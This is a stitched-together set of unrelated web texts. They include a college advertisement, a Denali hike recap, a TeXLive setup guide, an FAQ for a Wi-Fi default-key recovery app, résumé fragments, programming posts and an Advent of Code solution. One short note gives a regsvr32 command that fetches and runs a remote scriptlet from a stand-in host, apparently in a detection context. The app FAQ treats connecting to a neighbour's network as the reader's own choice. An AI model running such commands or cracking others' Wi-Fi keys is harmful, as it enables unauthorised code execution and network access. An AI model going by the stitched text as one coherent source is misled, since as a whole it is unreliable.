The Management is providing all the necessary skills for getting a job from 3rd year.
The students are under going rigorous training on aptitude, technical skills and soft skills for a total of 4 weeks in a year.
2 continuous weeks training in first semester and 2 continuous weeks training in second semester.
The above training will definitely help them in getting a good job.
Usha Rama College of Engineering and Technology, established by Usha Rama Educational Academy, with the aim of inculcating quality education to students and produce young technocrats having good knowledge. The college is approved by AICTE and affiliated to JNTU-Kakinada. It is sponsored by Chicago based Multi Million Dollar Advansoft group.
made an extensive study of the functioning of premier educational institutions in India and abroad and had an extensive consultation with Industry, academicians and scholars, the efforts of which finally culminated in laying the foundation for the college in 2008. Even before the college commenced its functioning, an elaborate plan was drawn up for acclimatizing and absorbing the students predominantly hailing from a rural background, into an environment demanding learning of frontier technologies.
The Trust comprises a team of highly respected professionals in the field of Academics, Management and Industry, dedicated to creating an Institution imparting quality education. Usha Rama College of Engineering and Technology Trust is well supported by a governing body and an academic advisory council consisting of eminent academicians and professors with decades of experience in premier Institutions.
URCE has within a short span of time emerged as one of the premier professional Institutions in this region. The Institute maintains high standards of education by providing a wide array of world-class academic facilities, employing highly qualified and experienced faculty members and creating an ambience that is conducive to quality education. Today, URCE offers
Our Vision & Mission :
The vision of the institute is to become pioneer institute in education and research. Its mission is to confer the best technical education to students with commitment to enable the students to face the challenging environment and cut-throat competition in the global world.


Trip recap:
The road that runs through Denali National Park can only be accessed by the park operated shuttle, but you can disembark from the bus at any point to start your day hike/backpacking journey. There are few trails deep in the park and exploration usually requires forging your own path. We asked the driver to drop us off at the east boundary of the Upper East Fork unit (green star below).
First, descend directly to the river that is visible from the road. Follow the river south for about a mile to make sure you avoid the wildlife protection region (red area in the map above) and be prepared for a lot of bushwacking (I think we averaged about 1 mile per hour for the first two miles due to the thick brush in many places).
After passing the wildlife zone, start heading southwest up the tundra. We were there in late May so we still enocountered some large snowfields to traverse.
Amazing 360 panoramas await at the top of the plateau, including views of the distant Denali peak on a clear day with some early-blooming wildflowers to be found amongst the rocks and lichen.
From here you can continue to traverse south towards some of the bigger foothills. The orange star on the map was about as far as we felt like going in a single day knowing we had a long bushwack back to the road.


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The TeX typesetter works well via command-line, or with TeXworks GUI. Since TeX is rarely used by anyone other than doctoral candidates in Mathematical Physics, this help only provides a general guide. Proof left to student.
If you already have a good, working installation of TeXLive in Termux, keep it. You may be able to use Termux command-line TeX programs while you are in Alaterm, but this is not guaranteed. You can try it. If it works, good for you. If it fails, do not report it as a bug. You can still install TeXLive in Alaterm.
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In Alaterm, you can install a native version of TeXLive. There are several package names, with more or less content. Best choice:
pacman -S texlive-most
Then choose the number(s) that you need. If you wish to add more later, simply re-run the above command, and choose again.
If pacman tlmgr
does not allow you to
install or update native TeX packages,
then have a look at
this web page for solutions.
No problem with TeXLive from TUG.
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As an alternative to the pacman installation, you can install TeXLive via the downloaded online installer, directly from the TUG web site:
a) Do not install both native package, and the one from TUG. Choose one or the other.
b) Get install-tl-unx.tar.gz
from
TUG.
c) Unpack it in Alaterm home, using Alaterm software. Do not unpack using Android tools.
d) Enter the directory containing install-tl
.
Then:
sudo perl install-tl
e) The correct binaries may be labeled armhf-linux, armv6, or similar. If the label does not exactly match your ARM architecture, no problem. But certainly do not use i386, x86_64, or Mac.
f) Carefully choose only what you need, from among the schemes and packages. The default tries to install everything.
g) You almost certainly do not need to install the src tree. Unless you habitually work offline, you can save a lot of space by not installing the doc tree. Documentation for individual packages can be obtained by reinstalling them later, as needed:
sudo tlmgr install --reinstall --with-doc
texpackagename
h) The default TEXMFHOME directory is visible in your home
folder. If you are in the habit of cleaning out files there, then change it
to a hidden directory such as ~/.texmf-home
.
i) IMPORTANT: Choose "create symlinks in standard
directories." That will be /usr/local/bin
for the binaries,
and similar for the others. This is superior to editing PATH, because some
programs ignore PATH and only look in expected locations.
To test whether you
did this correctly, command which latex
immediately after
completing the installer, before re-launching Alaterm.
If it does not find latex
, re-install with the symlinks.
j) To avoid the need to remember sudo
whenever
you use tlmgr
, you can add this line to
~/.bashrc : alias tlmgr='sudo tlmgr'
^TOP^
Alaterm has three TeX GUI programs: TeXworks, TeXmaker, TeXstudio. Of these, TeXworks is simplest and best:
pacman -S texworks
Sadly, TeXworks cannot save its preferences. Cause unknown.
For this reason, the Alaterm installer creates a useful set of preferences
at /home/.config/TUG/TeXworks.conf
.
You may edit it in a text editor, if you prefer different preferences.
Changed preferences have no effect until TeXworks is re-launched.
^TOP^
If you use TeXworks, its editor window can spell-check, with an appropriate hunspell dictionary installed:
pacman -S hunspell hunspell-xx_YY
where xx_YY is your locale, such as en_US or fr_FR. You can also install several dictionaries, then choose from within TeXworks.
^TOP^
3.6.5 TeXworks can view PDF internally. Or, PDF files can be viewed by the built-in Evince program, called "Document Viewer" in the LXDE Menu.
^TOP^
The Lua(La)TeX engine can automatically detect and use otf and ttf fonts in Alaterm. If you are using it, then you must refresh its internal font database after installing any new fonts. This is a TeXLive procedure, not specific to Alaterm:
luaotfload-tool --cache=erase
In a few cases, a problem arises when an Alaterm system font is also distributed within TeX. Even though the font name (internal to the font file) is identical, the filename may differ from the one stored in the TeXLive database. Then TeX is confused. You can fix this in one of two ways:
The hard way: Re-name the Alaterm system files to whatever TeX expects. Often this involves case-sensitive. For example, a system file may be named SomeFont-Italic.otf but TeX expects somefont-italic.otf. After re-naming the files, update the system and TeX font caches:
fc-cache
mktexlsr && updmap-sys
luaotfload-tool --cache=erase
The easy way: Install the fonts into TeX. Then TeX will find its own fonts and be happy, but other Alaterm programs will not see them there. Search online for the names of TeX font packages, and how to install them into TeX.
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During the last few years I've been actively working on my most popular Android app GWPA Finder which initially started as a research/hobby project of mine but soon reached over 1 million users.
This app (formerly known as Greek WPA Finder) was originally intended for use inside Greece as it can recover default WPA Keys of specific router brands that are popular in Greece thus helping you test your network security.
Nowadays there is an ongoing effort to gradually support more routers around the world however that's not an easy task and most of the times it doesn't reflect to what users might expect from this app. So I'd like to clarify a few things and probably shed some light about my app in the following FAQs.
Is it a scam?
NO it's not!
Is it a virus?
NO it's not!
Why does my antivirus report it as a virus then?
It's a false positive! Many antiviruses report legit apps as viruses sometimes.
Can it hack routers which their default key has been changed by the owner?
No that's not possible. Only default WPA Keys can and will be eligible for retrieval.
My phone reboots multiple times when I use your app
That's not GWPA Finder's fault by any means.
It could be due to a bug in your phone's firmware or Hardware.
Sometimes Modified Android versions like Cyanogen Mod can also do that.
Try a factory reset every once in a while.
Your app has broken/bricked my phone
NO it doesn't do that. There is no hidden code that could cause problems to your device.
It used to crack more WiFi networks in the past but now it doesn't. Did you remove support for some routers?
No! Rather the opposite. New algorithms have been added and more routers are now supported (including the old ones).
The reason you are not able to connect to some WiFis that were previously accessible in the past,
is because the owner is now aware of his security flaw and might have changed his default WPA Key
Why All of the WiFi Networks appear as Not Supported?
Newer routers are harder to crack so they still remain vulnerability-unknown thus not yet supported.
I guess you are one of the unlucky guys who never got the chance to find any supported WiFi networks.
I can't connect to the WiFi network using the provided key even though it's marked as Supported
Many reasons for this. Maybe the WiFi network is full and can't accept any further connections,
Maybe the signal is weak or Maybe and most likely the owner has changed his default WPA key.
I managed to connect to my neightbour's WiFi should I let him know about this?
The right thing to do is to inform him. But It's up to you man!
Are all of the supported WiFi keys being stored in a database?
NO. There is no database involved in this app whatsoever.
Since you are not using a database to retrieve the supported WiFi keys then how do you do it?
It's a key generator. It includes some algorithms that have been extracted by reverse engineering (hacking) of
the router's firmware
Why can't you make it hack every router known to man?
Most of the newer routers are now impossible to crack as the WPA Key generation algorithm
is no longer included inside their firmware, so there is no way to find out how the key is generated.
Why is it taking so long to support new WiFis?
I'm too busy doing other things and working on new projects of mine at the same time.
GWPA Finder is not my main job. It still remains a hobby project.
What's the point of updates if they don't support any newer routers?
Updates are vital because they fix bugs and compatibility issues.
You are not obligated to install a new update if your current app version is working fine for you.
Why Auto connect feature won't always work?
Auto connect feature is very much hardware dependant and won't always work reliably across all devices. Just copy-paste the Key
as an alternative solution to be sure.
Screen Overlay Detected! Don't know what to do
That's a bug in android 6. In short you have to force stop Facebook Messenger or any other app
that draws on top of screen. There are plenty of solutions on the web.
Let me Google that for you
Why does your app require location permissions? Why do you need to know my location?
That's another bug (or a feature if you will) in Androids 6 and above. For some reason the Android devs
decided that location services have to be turned on in order for an app to be able to scan for nearby WiFi networks.
How are WiFi and location related? They are not directly related but I'm guessing Google took that decision as an extra safety measure.
There has been a lot of hype about it lately in
the official Android issue tracker.
Users seem to be frustrated as this wasn't the case in previous Android versions. I wouldn't expect things to change any time soon though.

There are too many ads. I hate ads
Sorry about that. I have to support my work somehow.
You can remove them by making an one-time-in-app-purchase from the overflow menu on top right where it says "Remove Ads"
How can I contribute to the app?
You can take a pic of the sticker that's underneath your router and have it emailed to me. (You can find my email at Google Play)
If I manage to collect a lot of those sticker-pics for the same router brand, there is a chance that I may guess the algorithm that is used
to generate the default WPA key. Or maybe not, who knows.


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Create INF file, unregister, and point to sct file
Launch INF file using InfDefaultInstall.exe
regsvr32.exe usage
regsvr32.exe /s /n /u /i:https://shady.com/file.sct scrobj.dll
Full regsvr command detected in AutoRuns


I had been in kitchen design field and nursing field. I worked as a kitchen designer for several years. I had life changes event and made me realized I would rather do something for my family. Thus I decided to get into the nursing field. However, I came to realize that it was not my cup of tea. I love math and problem solving. I feel that It's very rewarding to find the solution to the problem. I have patience for this type of thing. Therefore, I decided to once again start over, diving in and learn how to program. At Epicodus, I enjoy working in pair and rotating through out the class.
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Handling the operations of mutual fund process for STATE STREET SYNTEL Services Pvt. Ltd.
Performing multiple processes under strict timelines throughout the day.
1. Reconciliation of trade setups for bond funds is accurately setup for amortization and accruals.
2. Worked on Fixed Income funds. (To check the exception on Income tracker tool, New buy trade setup,
Accrual, Amortization).
3. Daily processing and reviewing for fixed Income Funds.
4. Working on the exceptions & validating the same on Income tracker tool (differences between
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6. To check all the basics parameters of Trades are setup correctly such as Basis, Frequency, Maturity,
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7. Processing of interest income to the clients account etc.
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Here comes a second wave of links that I didn’t blog about. We’re reaching November 2003 at this point!
Longhorn
· Felipe gives a super fast introduction to layouts in Avalon, and a more detailed overview of the custom layout API. He is one of the Avalon PM by the way. His new blog here is a MUST for anyone interested in Avalon related content.
· James talks about the Media API in longhorn. Let’s hope the recent cut in features is not going to get this out of the way.
· Something that didn’t get much blog attention since the PDC, Automation and Accessibility in Avalon by Scott.
Things we use everyday
· An IIS6 problem with kernel mode caching, from Brendan… There should be an easier way.
· The absolute list of ports used by Microsoft products, from Christian (sorry it is in French, still readable by everybody though).
· Flushing DNS in Windows, very useful, from Richard.
· XSL-T intellisense for vs.net, even more useful, from Jesse Ezell.
· Well, we all use Robert Scoble enough that we could effectively send him a thanks postcard. I will do that soon. Robert if you’re reading this, would you prefer Monaco or London?
· An introduction to Code Access Security from CodeProject, by Sam Gentile (again).
Things we wish we’d use everyday (or not)
· An example on gotdotnet about using Rigid Body Dynamics in Managed DirectX…
· From Sam Gentile, Raymond on calling conventions Parts 1, 2 and 3.
Fun
· Well yes I’m late to the party, but an uber-cool design for a windows oriented blog. Who’s going to make a glass like blog design first?
· Project Management Proverbs from Alan Dean. Goes fine with the top developer excuses I blogged about in ISL 1.
· D0m1, from Eric Gunnerson, posts something I’ve read conscientiously for the last few months, http://www.thingsmygirlfriendandihavearguedabout.com.
· The Internet Helpdesk from matt. Way too funny.
I think that’s enough for a second list, don’t you?


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July 26, 2015
DBC Phase 1 starts tomorrow - which means a faster paced learning environment and inevitably more questions. But, what makes a question good?
Jon Skeet
According to Jon Skeet, the "Golden" rule #1 is: 'Imagine you're trying to answer the question.' If you feel like you could answer the question quickly and clearly if only you knew the answer, then you're on the right track.
Jon goes on to highlight the importance of a good title, context, using a problem statement, including sample code and data (screenshots, I believe, would also fall into this category), spelling words correctly and using a normal username.
Stack Overflow
Beyond what Jon has to say, Stack Overflow (SO) also has a nice post on the topic. Many of the same issues covered,
Eric Steven Raymond
Eric Steven Raymond also has a good post on the subject, although considerably longer than the previous two. Raymond points out 7 things to do before you ask... including searching archives of the site (e.g., Stack Overflow) you are posting on, searching the web, reading the manual, reading an FAQ, through experimentation, asking a skilled friend, or by reading the source code. Basically, he points out, if your question is lookup-able, you should do so. Also, he says that when posting to sites like SO, if you have done the due diligence of steps 1-7, you should make note of that - answerers will respect your pre-query effort. Raymond also points out the value of being simultaneously concise and clear. He ends by explaining the good etiquette of following up with a reply note to those who helped you with the "Problem X - Resolved" subject tag.


Hey! I'm willing to create a programming language using nim.
It's an educational project. Been reading about compilers for weeks now and I started using tools like flex and bison for lexer and parser. I know nim have a parsing library but nowhere near that level.
There is an old post (2014) with a similar question so I'm bringing that back a few years later. Is there anything anyone know that could speed up the process of developing a programing language using nim? (I can have c code if needed ofc)


Internationalization and Localization in Java
Internationalization is also abbreviated as I18N because there are total 18 characters between the first letter 'I' and the last letter 'N'. Internationalization is a mechanism to create such an application that can be adapted to different languages and regions. Internationalization is one of the powerful concept of java if you are developing an application and want to display messages, currencies, date, time etc. according to the specific region or language. Localization is also abbreviated as I10N because there are total 10 characters between the first letter 'L' and last letter 'N'. Localization is the mechanism to create such an application that can be adapted to a specific language and region by adding locale-specific text and component. Understanding the culturally dependent data before starting internationalizationBefore starting the internationalization, Let's first understand what are the informations that differ from one region to another. There is the list of culturally dependent data:
Importance of Locale class in InternationalizationAn object of Locale class represents a geographical or cultural region. This object can be used to get the locale specific information such as country name, language, variant etc. Fields of Locale classThere are fields of Locale class:
Constructors of Locale classThere are three constructors of Locale class.They are as follows:
Commonly used methods of Locale classThere are given commonly used methods of Locale class.
Example of Local class that prints the informations of the default localeIn this example, we are displaying the informations of the default locale. If you want to get the informations about any specific locale, comment the first line statement and uncomment the second line statement in the main method. Output:United States English English (United States) USA eng en US Example of Local class that prints english in different languagesIn this example, we are displaying english language in different language. Let's see how english is written in french and spanish languages. Example of Local class that print display language of many locales
Output:en_US: English es_ES: espa?ol it_IT: italiano
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2020, Day 8: Handheld Halting
For a better solution than mine look at the solution shared by fxn on the forum (gist).
I use a inelegant global trace (instead of an intsets
of visted indices).
This solution is not that bad anyway.
Listing the imports (usually I hide them from the document).
import
strutils, parseutils, strformat, std / enumerate
rather standard types. I regretted very soon naming instructions
in the program as instrs
, what a bad name!
type
OpCode = enum
opNop = "nop", opAcc = "acc", opJmp = "jmp"
Instruction = tuple[op: OpCode, val: int]
Program = object
tr: int ## p.tr: pointer
acc: int ## global register
instrs: seq[Instruction]
Trace = seq[seq[int]]
the parsing is clean, since opcodes are 3 letters do not even need scanf (enumerate is used for debugging)
proc parse(text: string): seq[Instruction] =
var
op: OpCode
val: int
for i, line in enumerate(text.splitLines):
try:
op = parseEnum[OpCode](line[0 .. 2])
discard parseInt(line[4 .. ^1], val)
result.add (op, val)
except:
echo "ERROR parsing ", i, " ", line
testing the first lines of code on the example
let example = """nop +0
acc +1
jmp +4
acc +3
jmp -3
acc -99
acc +1
jmp -4
acc +6"""
var exp = Program(instrs: parse example)
echo exp
(tr: 0, acc: 0, instrs: @[(op: nop, val: 0), (op: acc, val: 1), (op: jmp, val: 4), (op: acc, val: 3), (op: jmp, val: -3), (op: acc, val: -99), (op: acc, val: 1), (op: jmp, val: -4), (op: acc, val: 6)])
as mentioned, I decided to go with a global trace variable for simplicty
proc initTrace(p: Program): Trace =
result.setlen(p.instrs.len)
result[p.tr].add 1
var tr = initTrace(exp)
echo tr
template trace(): bool =
tr[p.tr].add(i + 1)
tr[p.tr].len == 1 ## somewhat cryptic. If you visited more than once length will be 2
@[@[1], @[], @[], @[], @[], @[], @[], @[], @[]]
and here is the code for the execution of the program (single step)
proc op(p: Program): OpCode =
p.instrs[p.tr].op
proc val(p: Program): int =
p.instrs[p.tr].val
proc endd(p: Program): bool =
(p.tr == p.instrs.len) ## end is keyword
proc exec(p: var Program): bool =
let i = tr[p.tr][^1]
case p.op
of opNop:
inc p.tr
of opAcc:
p.acc += p.val
inc p.tr
of opJmp:
inc p.tr, p.val
if p.endd:
return false
trace
this was a template at the beginning but I forgot strformat has known limitations with template arguments.
Of this I do like the name echoo
(this is throwaway stuff for debugging purposes).
proc echoo(p: Program; tr: Trace) =
echo p.op, " ", fmt"{p.val:3}", " | ", tr[p.tr]
discard
echoo(exp, tr)
while exec(exp):
echoo(exp, tr)
echoo(exp, tr)
echo "part1: ", exp.acc ## 5, ok
exp.acc = 0 ## reset for part2
nop 0 | @[1] acc 1 | @[2] jmp 4 | @[3] acc 1 | @[4] jmp -4 | @[5] acc 3 | @[6] jmp -3 | @[7] acc 1 | @[2, 8] part1: 5
part 2 appears first for the example. It is straightforward test of fixing iteratively all positions
var q: Program
var k: int
template fix(p: Program) =
k = 0
q = p
while not q.endd:
q = p
if q.acc != 0:
echo "ERROR it should be zero!"
while p.instrs[k].op == opAcc:
inc k
if p.instrs[k].op == opJmp:
q.instrs[k].op = opNop
elif p.instrs[k].op == opNop:
q.instrs[k].op = opJmp
else:
echo "ERROR should not be here"
## echo "trying to fix instruction ", k
tr = initTrace(q)
## echo "q.acc: ", q.acc
while exec(q):
discard
inc k
echo "part2: ", q.acc
fix exp ## 8, ok
part2: 8
Finally let's collect the stars!
let input = "2020/input08.txt".readFile
var inp = Program(instrs: parse input)
tr = initTrace(inp)
while exec(inp):
discard
echo "part1: ", inp.acc ## 1810
tr = initTrace(inp)
inp.acc = 0
inp.tr = 0
fix inp ## 969
part1: 1810 part2: 969
you know your solution is bad when trying to publish it you incur in all sorts of bugs...


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